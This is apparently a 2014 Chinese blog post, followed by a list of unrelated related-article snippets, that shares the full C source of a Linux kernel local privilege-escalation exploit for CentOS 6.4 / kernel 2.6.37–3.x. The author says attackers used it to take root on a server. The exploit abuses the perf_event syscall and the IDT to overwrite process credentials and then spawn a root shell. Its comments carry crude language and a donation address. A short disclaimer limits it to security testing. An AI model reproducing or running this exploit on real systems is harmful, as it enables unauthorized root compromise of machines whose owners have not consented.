LInux 安全测试 2
Centos/CentOS 6.4 linux内核2.6.3.2本地提权exp代码
jincon 发表于 2014-05-31 08:25:00 发表在: 代码审计
最近我接手的一台centos 服务器的,被黑客攻击,直接获取到root权限,牛逼,通过分析,大约是通过
mysql+exp提权获得root权限。下面分享下。
具体大家可以去测试。代码具有非常强的攻击性,请用于安全测试,否则后果自担。
- http://www.jincon.com/archives/187/
- /*
- * linux 2.6.37-3.x.x x86_64, ~100 LOC
- * gcc-4.6 -O2 semtex.c && ./a.out
- * 2010 sd@fucksheep.org, salut!
- *
- * update may 2013:
- * seems like centos 2.6.32 backported the perf bug, lol.
- * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
- */
- #define _GNU_SOURCE 1
- #include <stdint.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/mman.h>
- #include <syscall.h>
- #include <stdint.h>
- #include <assert.h>
- #define BASE 0x380000000
- #define SIZE 0x010000000
- #define KSIZE 0x2000000
- #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
- void fuck() {
- int i,j,k;
- uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
- uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
- uint64_t kbase = ((uint64_t)current)>>36;
- uint32_t *fixptr = (void*) AB(1);
- *fixptr = -1;
- for (i=0; i<4000; i+=4) {
- uint64_t *p = (void *)¤t[i];
- uint32_t *t = (void*) p[0];
- if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
- for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
- if (((uint32_t*)uids)[k] != t[j+k]) goto next;
- for (i = 0; i < 8; i++) t[j+i] = 0;
- for (i = 0; i < 10; i++) t[j+9+i] = -1;
- return;
- next:; }
- }
- }
- void sheep(uint32_t off) {
- uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
- int fd = syscall(298, buf, 0, -1, -1, 0);
- assert(!close(fd));
- }
- int main() {
- uint64_t u,g,needle, kbase, *p; uint8_t *code;
- uint32_t *map, j = 5;
- int i;
- struct {
- uint16_t limit;
- uint64_t addr;
- } __attribute__((packed)) idt;
- assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
- memset(map, 0, SIZE);
- sheep(-1); sheep(-2);
- for (i = 0; i < SIZE/4; i++) if (map[i]) {
- assert(map[i+1]);
- break;
- }
- assert(i<SIZE/4);
- asm ("sidt %0" : "=m" (idt));
- kbase = idt.addr & 0xff000000;
- u = getuid(); g = getgid();
- assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
- memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
- memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
- printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
- setresuid(u,u,u); setresgid(g,g,g);
- while (j--) {
- needle = AB(j+1);
- assert(p = memmem(code, 1024, &needle, 8));
- if (!p) continue;
- *p = j?((g<<32)|u):(idt.addr + 0x48);
- }
- sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
- asm("int $0x4"); assert(!setuid(0));
- return execl("/bin/bash", "-sh", NULL);
- }
LInux 安全测试 2的更多相关文章
- Kali linux渗透测试常用工具汇总1
1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...
- Kali linux渗透测试的艺术 思维导图
Kali Linux是一个全面的渗透测试平台,其自带的高级工具可以用来识别.检测和利用目标网络中未被发现的漏洞.借助于Kali Linux,你可以根据已定义的业务目标和预定的测试计划,应用合适的测试方 ...
- linux下测试磁盘的读写IO速度-简易方法
linux下测试磁盘的读写IO速度-简易方法 参考资料:https://blog.csdn.net/zqtsx/article/details/25487185 一:使用hdparm命令 这是一个是用 ...
- 【Linux】测试环境如何搭建?
[Linux]测试环境如何搭建? (该文档所在我的百度网盘位置: ) 通常面试会问到会不会搭建测试环境?到底啥是测试环境搭建呢,其实测试环境没有想像的那么高大上,弄个 tomcat,把测试的 war ...
- Kail Linux渗透测试教程之免杀Payload生成工具Veil
Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...
- Kail Linux渗透测试教程之在Metasploit中扫描
Kail Linux渗透测试教程之在Metasploit中扫描 在Metasploit中扫描 在Metasploit中,附带了大量的内置扫描器.使用这些扫描器可以搜索并获得来自一台计算机或一个完整网络 ...
- Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap
Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap 网络扫描和嗅探工具——Nmap Nmap也就网络映射器(Network Mapper),是一个免费开放的网络扫描和嗅探工具.该工具可以扫描 ...
- Kail Linux渗透测试教程之ARP侦查Netdiscover端口扫描Zenmap与黑暗搜索引擎Shodan
Kail Linux渗透测试教程之ARP侦查Netdiscover端口扫描Zenmap与黑暗搜索引擎Shodan ARP侦查工具——Netdiscover Netdiscover是一个主动/被动的AR ...
- Kail Linux渗透测试教程之Recon-NG框架
Kail Linux渗透测试教程之Recon-NG框架 信息收集 信息收集是网络攻击最重要的阶段之一.要想进行渗透攻击,就需要收集目标的各类信息.收集到的信息越多,攻击成功的概率也就越大.本章将介绍信 ...
- linux上测试磁盘IO速度
运维工作,经常要测试服务器硬件性能,以此来判断是否存在性能瓶颈. 下面介绍在linux上测试磁盘IO速度的工具: 1.hdparm CentOS中,安装的两种方法: 1) yum安装. # yum i ...
随机推荐
- JQuery ztree 异步加载实践
本来要做一个文件目录浏览界面,需要遍历所有的文件和目录,很显然一次性读取时很费时费力的一件事情. 因此就需要做异步加载.... 不过网上的几篇帖子还挺坑的!原始参考:JQuery异步加载实例,相对来说 ...
- java输入函数
import java.util.*; class Test{ public static void main(String[] args){ Scanner x=new Scanner(System ...
- 使用nginx绑定域名,代理gitlab
默认情况下,gitlab通过自带的unicorn来充当web页面的,不用nginx也可以,这里我们使用nginx代理vim /etc/yum.reos.d/nginx.repo # 编辑nginx.r ...
- Java基础-常量池
在class文件中,“常量池”是最复杂也最值得关注的内容. Java是一种动态连接的语言,常量池的作用非常重要,常量池中除了包含代码中所定义的各种基本类型(如int.long等等)和对象型(如Stri ...
- 常用JQuery插件
虽然自己也写过插件,但JQuery插件种类的繁多,大多时候,我还是使用别人写好的插件,这些都是我用了同类插件里较为不错的一些,今天就整理一下公开放出来. UI: jquery.HooRay(哈哈,自己 ...
- 重写UIPageControl实现自定义按钮
有时候UIPageControl需要用到白色的背景, 那么会导致上面的点按钮看不见或不清楚,我们可以通过继承该类重写函数来更换点按钮的图片现实.实现思路如下.新建类继承UIPageControl : ...
- BZOJ-1202 狡猾的商人 并查集+前缀和
我记得这个题,上次之前做的时候没改完,撂下了,今天突然想改发现,woc肿么A 了= =看来是我记错了.. 1202: [HNOI2005]狡猾的商人 Time Limit: 10 Sec Memory ...
- ubuntu使用ssh登入不执行.bashrc解决方法
解决方法,可以直接输入 bash即可. 理解 bashrc 和 profile linux bashrc profile SEP 30TH, 2011 BY SUNTEYA 在一般的 linux 或者 ...
- OMNET++工具的使用(2)
http://blog.csdn.net/codingkid/article/details/7085214 首先解决一些概念上的问题: 1. 在omnetpp.org中提到的仿真模型和框架与OMNe ...
- JS 显示时间与倒计时练习
显示时间与倒计时 HTML <!DOCTYPE html> <html> <head> <meta charset="utf-8"> ...